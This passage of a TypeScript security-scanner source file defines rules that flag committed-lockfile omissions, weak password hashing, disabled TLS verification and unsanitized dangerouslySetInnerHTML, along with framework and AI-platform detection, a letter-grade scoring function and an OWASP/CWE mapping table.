));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC039 – Missing Dependency Lock File\n// ────────────────────────────────────────────\n\nexport const missingLockFile: CustomRule = {\n id: \"VC039\",\n title: \"Missing Dependency Lock File\",\n severity: \"medium\",\n category: \"Supply Chain\",\n description: \"Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.\",\n check(content, filePath) {\n // Only check .gitignore for lock files being ignored\n if (!filePath.endsWith(\".gitignore\")) return [];\n const ignoresLock = /package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock/i.test(content);\n if (ignoresLock) {\n return findMatches(content, /(?:package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock)/gi, missingLockFile, filePath, () =>\n \"Remove the lockfile from .gitignore. Lockfiles should be committed to prevent supply chain attacks. They ensure exact versions are installed across all environments.\"\n );\n }\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC060 – Weak Hashing Algorithm\n// ────────────────────────────────────────────\n\nexport const weakHashing: CustomRule = {\n id: \"VC060\",\n title: \"Weak Hashing Algorithm for Passwords\",\n severity: \"critical\",\n category: \"Cryptography\",\n description: \"MD5 and SHA1/SHA256 are too fast for password hashing — they can be brute-forced at billions of attempts per second. Use bcrypt, scrypt, or argon2 instead.\",\n check(content, filePath) {\n if (filePath.includes(\"test\") || filePath.includes(\"mock\")) return [];\n // Skip if file also uses strong hashing (indicates migration / comparison code).\n if (/bcrypt|scrypt|argon2/i.test(content)) return [];\n\n const matches: RuleMatch[] = [];\n\n // --- Inline patterns (password on the same line as the hash call) ---\n const inlinePatterns = [\n /(?:md5|sha1|sha256|sha512)\\s*\\([^)]*(?:password|passwd|pwd)/gi,\n /createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\).*(?:password|passwd|pwd)/gi,\n /(?:password|passwd|pwd).*createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\)/gi,\n /hashlib\\.(?:md5|sha1|sha256)\\s*\\([^)]*(?:password|passwd|pwd)/gi,\n /Digest::(?:MD5|SHA1|SHA256).*(?:password|passwd|pwd)/gi,\n ];\n for (const p of inlinePatterns) {\n matches.push(...findMatches(content, p, weakHashing, filePath, () =>\n \"Use bcrypt, scrypt, or argon2 for password hashing — they're intentionally slow. Example: const hash = await bcrypt.hash(password, 12);\"\n ));\n }\n\n // --- File-level context: the password identifier and the weak hash call\n // live in the same file but on different lines. Flag every weak hash call\n // when password-hashing context exists somewhere in the file. ---\n const hasPasswordContext =\n /\\b(?:hashPassword|hash_password|verify_password|verifyPassword|password_hash|password_hash_verify|password_hashing)\\b/i.test(content) ||\n /\\b(?:function|def|async)\\s+\\w*(?:password|pwd)\\w*/i.test(content) ||\n /\\bpassword\\s*[:=]/i.test(content);\n\n if (hasPasswordContext) {\n const weakCallPatterns = [\n /createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\s*\\)/gi,\n /hashlib\\.(?:md5|sha1|sha256)\\s*\\(/gi,\n /Digest::(?:MD5|SHA1|SHA256)\\./gi,\n ];\n for (const p of weakCallPatterns) {\n const raw = findMatches(content, p, weakHashing, filePath, () =>\n \"Use bcrypt, scrypt, or argon2 for password hashing. These algorithms are intentionally slow so brute-force attacks are infeasible.\",\n );\n for (const m of raw) {\n if (matches.some((existing) => existing.line === m.line)) continue;\n matches.push(m);\n }\n }\n }\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC061 – Disabled TLS Certificate Verification\n// ────────────────────────────────────────────\n\nexport const disabledTLSVerification: CustomRule = {\n id: \"VC061\",\n title: \"Disabled TLS Certificate Verification\",\n severity: \"critical\",\n category: \"Cryptography\",\n description: \"Disabling TLS certificate verification (NODE_TLS_REJECT_UNAUTHORIZED=0 or rejectUnauthorized:false) makes all HTTPS connections vulnerable to man-in-the-middle attacks.\",\n check(content, filePath) {\n const matches: RuleMatch[] = [];\n const patterns = [\n /NODE_TLS_REJECT_UNAUTHORIZED\\s*[:=]\\s*[\"'`]?0[\"'`]?/g,\n /rejectUnauthorized\\s*:\\s*false/g,\n /verify\\s*[:=]\\s*false.*(?:ssl|tls|cert|https)/gi,\n /PYTHONHTTPSVERIFY\\s*[:=]\\s*[\"'`]?0[\"'`]?/g,\n /ssl_verify\\s*[:=]\\s*false/gi,\n /InsecureSkipVerify\\s*:\\s*true/g,\n ];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, disabledTLSVerification, filePath, () =>\n \"Never disable TLS certificate verification in production. Fix the root cause: install the correct CA certificate, or use NODE_EXTRA_CA_CERTS for custom CAs.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC063 – dangerouslySetInnerHTML\n// ────────────────────────────────────────────\n\nexport const dangerousInnerHTML: CustomRule = {\n id: \"VC063\",\n title: \"Unsanitized dangerouslySetInnerHTML\",\n severity: \"critical\",\n category: \"Injection\",\n description: \"Using dangerouslySetInnerHTML without sanitization (DOMPurify) enables XSS attacks. User-controlled content injected as raw HTML can execute arbitrary JavaScript.\",\n check(content, filePath) {\n if (!filePath.match(/\\.(jsx|tsx)$/)) return [];\n if (isTestFile(filePath)) return [];\n if (!/dangerouslySetInnerHTML/i.test(content)) return [];\n // Strip comments before the sanitize-presence check. Otherwise a\n // fixture comment like \"// unsanitized dangerouslySetInnerHTML\"\n // substring-matches \"sanitize\" and suppresses the rule.\n const codeOnly = content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, \"\")\n .replace(/(^|[^:])\\/\\/.*$/gm, \"$1\")\n .replace(/\\{\\s*\\/\\*[\\s\\S]*?\\*\\/\\s*\\}/g, \"\");\n const hasSanitize = /\\b(?:DOMPurify|sanitizeHtml|sanitize-html|isomorphic-dompurify)\\b|\\b(?:sanitize|purify|xss)\\s*\\(/i.test(codeOnly);\n if (hasSanitize) return [];\n // Find all dangerouslySetInnerHTML usages, but skip if the value is a\n // static constant (all-caps like THEME_INIT_SCRIPT), a string literal,\n // or a marked safe value — these are not user-controlled input\n const findings: RuleMatch[] = [];\n const re = /dangerouslySetInnerHTML\\s*=\\s*\\{\\s*\\{\\s*__html\\s*:\\s*([^}]+)\\}/g;\n let m: RegExpExecArray | null;\n while ((m = re.exec(content)) !== null) {\n if (isCommentLine(content, m.index)) continue;\n // Respect inline `// VC063-OK: <reason>` silencer. Common legitimate\n // sites: server-built HTML templates (CopyableBlock embed previews),\n // const-bound template literals with no user input (ThemeBootScript,\n // theme-flash-prevention scripts), nonce-attribute script tags\n // hydrating from server-rendered data.\n if (isInlineSilenced(content, m.index, \"VC063\")) continue;\n const value = m[1].trim();\n // Skip static constants (UPPER_CASE), string literals, or template strings without interpolation\n if (/^[A-Z][A-Z0-9_]+$/.test(value)) continue;\n if (/^[\"'`][^$]*[\"'`]$/.test(value)) continue;\n // Skip JSON-LD structured data (standard SEO practice, developer-controlled)\n if (/JSON\\.stringify/i.test(value)) continue;\n const lineNum = lineNumberAt(content, m.index);\n findings.push({\n rule: \"VC063\", title: dangerousInnerHTML.title,\n severity: \"critical\" as const, category: \"Injection\",\n file: filePath, line: lineNum, snippet: getSnippet(content, lineNum),\n fix: \"Sanitize HTML before using dangerouslySetInnerHTML: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }}. Install: npm install dompurify. If this site is intentional (server-built template, nonce-attribute boot script, etc.), add an inline `// VC063-OK: <reason>` comment above the line to silence.\",\n });\n }\n return findings;\n },\n};\n\n// ────────────────────────────────────────────\n// FRAMEWORK DETECTION\n// ────────────────────────────────────────────\n\nexport type DetectedFramework = \"next.js\" | \"react\" | \"react-native\" | \"express\" | \"hono\" | \"fastify\" | \"django\" | \"flask\" | \"electron\" | \"vue\" | \"svelte\" | \"unknown\";\n\nexport function detectFramework(files: { path: string; content: string }[]): DetectedFramework[] {\n const frameworks: Set<DetectedFramework> = new Set();\n for (const { path, content } of files) {\n if (path.match(/next\\.config/i) || /from\\s+[\"']next/i.test(content)) frameworks.add(\"next.js\");\n if (/from\\s+[\"']react-native/i.test(content) || path.match(/react-native\\.config/i)) frameworks.add(\"react-native\");\n else if (/from\\s+[\"']react/i.test(content) || /import\\s+React/i.test(content)) frameworks.add(\"react\");\n if (/from\\s+[\"']express/i.test(content) || /require\\s*\\(\\s*[\"']express/i.test(content)) frameworks.add(\"express\");\n if (/from\\s+[\"']hono/i.test(content)) frameworks.add(\"hono\");\n if (/from\\s+[\"']fastify/i.test(content)) frameworks.add(\"fastify\");\n if (/from\\s+[\"']electron/i.test(content) || path.match(/electron/i)) frameworks.add(\"electron\");\n if (path.match(/settings\\.py$/) || /from\\s+django/i.test(content)) frameworks.add(\"django\");\n if (/from\\s+flask/i.test(content) || /Flask\\s*\\(/i.test(content)) frameworks.add(\"flask\");\n if (/from\\s+[\"']vue/i.test(content) || path.match(/vue\\.config/i)) frameworks.add(\"vue\");\n if (/from\\s+[\"']svelte/i.test(content) || path.match(/svelte\\.config/i)) frameworks.add(\"svelte\");\n }\n if (frameworks.size === 0) frameworks.add(\"unknown\");\n return [...frameworks];\n}\n\n// The AI scaffold / platform a project was generated with. Provenance (WHO\n// built it), distinct from DetectedFramework (WHAT it's built on). Used to make\n// scan output say the concrete \"Detected: Lovable + Supabase app\" thing that\n// the niche positioning promises.\nexport type VibePlatform = \"lovable\" | \"bolt\" | \"replit\" | \"cursor\" | \"v0\" | \"claude-code\";\n\n/**\n * Detect the AI coding platform / scaffold behind a project from tell-tale\n * files, dependencies, and generated-comment headers.\n *\n * Deliberately high-precision: signals are mostly exact config-file paths\n * (`.replit`, `.cursorrules`, `.bolt/`) plus a couple of unambiguous content\n * markers (`lovable-tagger`, `bolt.new`, `v0.dev`). A plain framework project\n * with none of these returns `[]` — we never guess a platform, because a wrong\n * \"Detected: X\" label reads worse than none. Returns every platform detected\n * (a Lovable app opened in Cursor legitimately reports both).\n */\n/**\n * Files whose CONTENT describes a platform rather than uses it.\n *\n * Content markers are matched against source, not against everything a repo\n * happens to carry. Scanning this very repository reported \"Detected: Lovable\n * project\" because `public/vsi/vsi-results.json` — our own published field-study\n * output — contains the methodology string \"lovable-tagger in package.json\".\n * The scanner read its own data about Lovable as evidence of being Lovable.\n *\n * The same trap catches anyone: a blog post about bolt.new, a docs page\n * explaining v0, a fixture describing a scaffold. `public/` and `static/` hold\n * files the app SERVES, and markdown is prose — neither is where a build tool\n * leaves its fingerprint. Path-based signals (`.bolt/`, `.replit`,\n * `lovable.config.*`) are unaffected; those are unambiguous wherever they sit.\n */\nfunction describesRatherThanUses(lowerPath: string): boolean {\n return (\n /(^|\\/)(public|static|assets|fixtures|__fixtures__|testdata|test-fixtures)\\//.test(lowerPath) ||\n /\\.(md|mdx|txt|rst)$/.test(lowerPath)\n );\n}\n\nexport function detectPlatform(files: { path: string; content: string }[]): VibePlatform[] {\n const platforms: Set<VibePlatform> = new Set();\n for (const { path, content: rawContent } of files) {\n const p = path.toLowerCase();\n // Path signals still apply to every file; only CONTENT matching is held\n // back for files that merely talk about a platform.\n const content = describesRatherThanUses(p) ? \"\" : rawContent;\n // Lovable — its Vite tagger dev-dep, config file, or an explicit reference.\n if (/(^|\\/)lovable\\.config\\./.test(p) || /lovable-tagger/i.test(content) || /lovable\\.dev/i.test(content)) {\n platforms.add(\"lovable\");\n }\n // Bolt (bolt.new) / StackBlitz.\n if (/(^|\\/)\\.bolt\\//.test(p) || /(^|\\/)\\.stackblitzrc$/.test(p) || /bolt\\.new/i.test(content)) {\n platforms.add(\"bolt\");\n }\n // Replit — its config files are unique and unambiguous.\n if (/(^|\\/)\\.replit$/.test(p) || /(^|\\/)replit\\.nix$/.test(p)) {\n platforms.add(\"replit\");\n }\n // Cursor — project-level rules file / dir (signals the code was written in Cursor).\n if (/(^|\\/)\\.cursorrules$/.test(p) || /(^|\\/)\\.cursor\\//.test(p)) {\n platforms.add(\"cursor\");\n }\n // Claude Code — its project memory file / config dir.\n if (/(^|\\/)claude\\.md$/.test(p) || /(^|\\/)\\.claude\\//.test(p)) {\n platforms.add(\"claude-code\");\n }\n // Vercel v0 — generated-comment / reference marker.\n if (/v0\\.dev/i.test(content) || /generated by v0\\b/i.test(content)) {\n platforms.add(\"v0\");\n }\n }\n return [...platforms];\n}\n\n// ────────────────────────────────────────────\n// SEVERITY GRADING\n// ────────────────────────────────────────────\n\nexport type SecurityGrade = \"A+\" | \"A\" | \"B\" | \"C\" | \"D\" | \"F\";\n\nexport interface GradeResult {\n grade: SecurityGrade;\n score: number;\n summary: string;\n /**\n * How many of the supplied findings were held out of the score because they\n * sit in vendored / generated / documentation paths (see `vendored.ts`).\n *\n * Always present, and always reflected in `summary` when non-zero. Every\n * surface that renders a grade must render this too: a grade that excluded\n * findings may never be displayed as though it excluded none.\n */\n ungraded: number;\n}\n\nexport interface GradeOptions {\n /**\n * Score vendored / generated / documentation findings as if they were app\n * code — i.e. the pre-classification behaviour. Opt-out escape hatch for\n * users who vendor code they consider their own responsibility. Exposed as\n * `--grade-vendored` on the CLI.\n */\n gradeVendored?: boolean;\n}\n\n// eslint-disable-next-line @typescript-eslint/no-unused-vars\nexport function calculateGrade(findings: Finding[], _totalFiles: number, options: GradeOptions = {}): GradeResult {\n // Hold out findings in code the app author did not write. The classification\n // is re-derived from each finding's path rather than read off the finding,\n // so an object that arrives over the wire already flagged `vendored: true`\n // gets no say in its own score. See vendored.ts for why this lives at the\n // file-classification layer rather than inside the four rules involved.\n const scored = options.gradeVendored ? findings : findings.filter((f) => !isVendoredFinding(f));\n const ungraded = findings.length - scored.length;\n\n // Phrase appended to every summary that had something held out. The count is\n // never suppressed, including when the grade ends up perfect.\n const holdout = ungraded > 0\n ? ` ${ungraded} finding${ungraded === 1 ? \"\" : \"s\"} in vendored, generated, or documentation files ${ungraded === 1 ? \"is\" : \"are\"} reported but not graded.`\n : \"\";\n\n if (scored.length === 0) {\n return {\n grade: \"A+\",\n score: 100,\n summary: (ungraded > 0\n ? \"No security issues detected in your own code.\"\n : \"No security issues detected. Excellent.\") + holdout,\n ungraded,\n };\n }\n\n // Single source of truth for severity weights. Matches the dashboard\n // scoring modal and the GitHub Action action.yml so all three surfaces\n // produce the same grade for the same input.\n let critical = 0, high = 0, medium = 0, low = 0;\n for (const f of scored) {\n if (f.severity === \"critical\") critical++;\n else if (f.severity === \"high\") high++;\n else if (f.severity === \"medium\") medium++;\n else if (f.severity === \"low\") low++;\n }\n\n const deductions = critical * 15 + high * 7 + medium * 3 + low * 1;\n const rawScore = Math.max(0, 100 - deductions);\n\n // Score-based grade thresholds\n let grade: SecurityGrade;\n if (rawScore >= 97) grade = \"A+\";\n else if (rawScore >= 90) grade = \"A\";\n else if (rawScore >= 80) grade = \"B\";\n else if (rawScore >= 70) grade = \"C\";\n else if (rawScore >= 60) grade = \"D\";\n else grade = \"F\";\n\n // Severity caps — a scan with serious findings cannot earn an A regardless\n // of what the score math says. Prevents the 'strong security with minor\n // concerns' bug where 2 High findings were rated A.\n const capGrade = (cap: SecurityGrade): SecurityGrade => {\n const order: SecurityGrade[] = [\"A+\", \"A\", \"B\", \"C\", \"D\", \"F\"];\n return order.indexOf(grade) < order.indexOf(cap) ? cap : grade;\n };\n if (critical >= 1) grade = capGrade(\"D\"); // any critical → max D\n else if (high >= 3) grade = capGrade(\"D\"); // 3+ high → max D\n else if (high >= 1) grade = capGrade(\"B\"); // 1–2 high → max B\n else if (medium >= 5) grade = capGrade(\"B\"); // 5+ medium → max B\n else if (medium >= 1) grade = capGrade(\"A\"); // any medium → max A (not A+)\n\n // Summary references what's actually wrong, not just the score bucket.\n let summary: string;\n if (critical > 0) {\n summary = `${critical} critical ${critical === 1 ? \"vulnerability requires\" : \"vulnerabilities require\"} immediate attention.`;\n } else if (high >= 3) {\n summary = `${high} high-severity issues require urgent attention.`;\n } else if (high > 0) {\n summary = `${high} high-severity ${high === 1 ? \"issue needs\" : \"issues need\"} attention.`;\n } else if (medium >= 5) {\n summary = `${medium} medium-severity issues to address.`;\n } else if (medium > 0) {\n summary = `Clean of critical and high issues. ${medium} medium-severity ${medium === 1 ? \"issue\" : \"issues\"} to review.`;\n } else if (low > 0) {\n summary = `Clean of critical, high, and medium issues. ${low} low-severity best-practice ${low === 1 ? \"note\" : \"notes\"}.`;\n } else {\n summary = \"No security issues detected.\";\n }\n\n return { grade, score: rawScore, summary: summary + holdout, ungraded };\n}\n\n// ────────────────────────────────────────────\n// COMPLIANCE MAPPING (OWASP Top 10 + CWE)\n// ────────────────────────────────────────────\n\nexport const complianceMap: Record<string, { owasp: string; cwe: string }> = {\n VC001: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC002: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC003: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC004: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC005: { owasp: \"A08:2021\", cwe: \"CWE-345\" },\n VC006: { owasp: \"A03:2021\", cwe: \"CWE-89\" },\n VC007: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC008: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC009: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC010: { owasp: \"A01:2021\", cwe: \"CWE-602\" },\n VC011: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC012: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC013: { owasp: \"A01:2021\", cwe: \"CWE-269\" },\n VC014: { owasp: \"A05:2021\", cwe: \"CWE-538\" },\n VC015: { owasp: \"A03:2021\", cwe: \"CWE-95\" },\n VC016: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC017: { owasp: \"A05:2021\", cwe: \"CWE-614\" },\n VC018: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC019: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC020: { owasp: \"A05:2021\", cwe: \"CWE-1021\" },\n VC021: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC022: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC023: { owasp: \"A08:2021\", cwe: \"CWE-1321\" },\n VC024: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC025: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC026: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC027: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC028: { owasp: \"A07:2021\", cwe: \"CWE-20\" },\n VC029: { owasp: \"A08:2021\", cwe: \"CWE-20\" },\n VC030: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC031: { owasp: \"A02:2021\", cwe: \"CWE-321\" },\n VC032: { owasp: \"A05:2021\", cwe: \"CWE-319\" },\n VC033: { owasp: \"A05:2021\", cwe: \"CWE-215\" },\n VC034: { owasp: \"A02:2021\", cwe: \"CWE-338\" },\n VC035: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC036: { owasp: \"A04:2021\", cwe: \"CWE-755\" },\n VC037: { owasp: \"A09:2021\", cwe: \"CWE-209\" },\n VC038: { owasp: \"A04:2021\", cwe: \"CWE-434\" },\n VC039: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC040: { owasp: \"A05:2021\", cwe: \"CWE-538\" },\n VC041: { owasp: \"A10:2021\", cwe: \"CWE-918\" },\n VC042: { owasp: \"A01:2021\", cwe: \"CWE-915\" },\n VC043: { owasp: \"A02:2021\", cwe: \"CWE-208\" },\n VC044: { owasp: \"A09:2021\", cwe: \"CWE-117\" },\n VC045: { owasp: \"A07:2021\", cwe: \"CWE-521\" },\n VC046: { owasp: \"A07:2021\", cwe: \"CWE-384\" },\n VC047: { owasp: \"A07:2021\", cwe: \"CWE-307\" },\n VC048: { owasp: \"A03:2021\", cwe: \"CWE-943\" },\n VC049: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC050: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC051: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC052: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC053: { owasp: \"A05:2021\", cwe: \"CWE-547\" },\n VC054: { owasp: \"A07:2021\", cwe: \"CWE-922\" },\n VC055: { owasp: \"A05:2021\", cwe: \"CWE-540\" },\n VC056: { owasp: \"A05:2021\", cwe: \"CWE-1021\" },\n VC057: { owasp: \"A01:2021\", cwe: \"CWE-269\" },\n VC058: { owasp: \"A05:2021\", cwe: \"CWE-250\" },\n VC059: { owasp: \"A05:2021\", cwe: \"CWE-284\" },\n VC060: { owasp: \"A02:2021\", cwe: \"CWE-328\" },\n VC061: { owasp: \"A02:2021\", cwe: \"CWE-295\" },\n VC062: { owasp: \"A02:2021\", cwe: \"CWE-321\" },\n VC063: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC064: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC065: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC066: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC067: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC068: { owasp: \"A07:2021\", cwe: \"CWE-922\" },\n VC069: { owasp: \"A02:2021\", cwe: \"CWE-295\" },\n VC070: { owasp: \"A05:2021\", cwe: \"CWE-489\" },\n VC071: { owasp: \"A05:2021\", cwe: \"CWE-215\" },\n VC072: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC073: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC074: { owasp: \"A01:2021\", cwe: \"CWE-352\" },\n VC075: { owasp: \"A03:2021\", cwe: \"CWE-78\" },\n VC076: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC077: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC078: { owasp: \"A05:2021\", cwe: \"CWE-250\" },\n VC079: { owasp: \"A02:2021\", cwe: \"CWE-327\" },\n VC080: { owasp: \"A04:2021\", cwe: \"CWE-1333\" },\n VC081: { owasp: \"A03:2021\", cwe: \"CWE-611\" },\n VC082: { owasp: \"A03:2021\", cwe: \"CWE-94\" },\n VC083: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC084: { owasp: \"A06:2021\", cwe: \"CWE-353\" },\n VC085: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC086: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC087: { owasp: \"A05:2021\", cwe: \"CWE-311\" },\n VC088: { owasp: \"A07:2021\", cwe: \"CWE-598\" },\n VC089: { owasp: \"A05:2021\", cwe: \"CWE-430\" },\n VC090: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC091: { owasp: \"A04:2021\", cwe: \"CWE-367\" },\n VC092: { owasp: \"A08:2021\", cwe: \"CWE-1321\" },\n VC093: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC094: { owasp: \"A03:2021\", cwe: \"CWE-78\" },\n VC095: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC096: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC097: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC098: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC099: { owasp: \"A04:2021\", cwe: \"CWE-401\" },\n VC100: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC101: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC102: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC103: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC104: { owasp: \"A04:2021\", cwe: \"CWE-390\" },\n VC105: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC106: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC107: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC108: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC109: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC110: { owasp: \"A09:2021\", cwe: \"CWE-778\" },\n VC111: { owasp: \"A05:2021\", cwe: \"CWE-653\" },\n VC112: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC113: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC114: { owasp: \"A05:2021\", cwe: \"CWE-668\" },\n VC115: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC116: { owasp: \"A05:2021\", cwe: \"CWE-770\" },\n VC117: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC118: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC119: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC120: { owasp: \"A07:2021\", cwe: \"CWE-352\" },\n VC121: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC122: { owasp: \"A02:2021\", cwe: \"CWE-326\" },\n VC123: { owasp: \"A02:2021\", cwe: \"CWE-326\" },\n VC124: { owasp: \"A02:2021\", cwe: \"CWE-327\" },\n VC125: { owasp: \"A07:2021\", cwe: \"CWE-640\" },\n VC126: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC127: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC128: { owasp: \"A05:2021\", cwe: \"CWE-444\" },\n VC129: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC130: { owasp: \"A07:2021\", cwe: \"CWE-307\" },\n VC131: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n // VC132–VC145: Service-specific API key detection\n VC132: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC133: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC134: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC135: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC136: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC137: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC138: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC139: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC140: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC141: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC142: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC143: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC144: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC145: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n // VC146–VC151: Secret exposure path analysis\n VC146: { owasp: \"A07:2021\", cwe: \"CWE-598\" },\n VC147: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC148: { owasp: \"A09:2021\", cwe: \"CWE-209\" },\n VC149: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC150: { owasp: \"A07:2021\", cwe: \"CWE-615\" },\n VC151: { owasp: \"A07:2021\", cwe: \"CWE-214\" },\n // VC152–VC158: New rules\n VC152: { owasp: \"A08:2021\", cwe: \"CWE-345\" },\n VC153: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC154: { owasp: \"A03:2021\", cwe: \"CWE-20\" },\n VC155: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC156: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC157: { owasp: \"A05:2021\", cwe: \"CWE-1327\" },\n VC158: { owasp: \"A01:2021\", cwe: \"CWE-639\" },\n // VC159–VC183: Additional service-specific API key detection.\n // All map to A07:2021 (Identification & Auth Failures) / CWE-798 (Hardcoded\n // Credentials), matching the existing VC132–VC145 cluster.\n VC159: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Cohere\n VC160: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Replicate\n VC161: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Mistral\n VC162: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Together AI\n VC163: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Groq\n VC164: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fireworks AI\n VC165: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Postmark\n VC166: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Resend\n VC167: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Loops\n VC168: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Cloudflare\n VC169: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fastly\n VC170: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Netlify\n VC171: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Railway\n VC172: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fly.io\n VC173: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Algolia admin key\n VC174: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Qdrant\n VC175: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Weaviate\n VC176: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Linear\n VC177: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Notion\n VC178: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Discord bot token\n VC179: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Intercom\n VC180: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Sentry auth token\n VC181: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Logtail / Better Stack\n VC182: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Highlight\n VC183: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Plivo\n // VC184–VC187: GitHub Actions workflow security\n VC184: { owasp: \"A08:2021\", cwe: \"CWE-829\" }, // pull_request_target + checkout PR 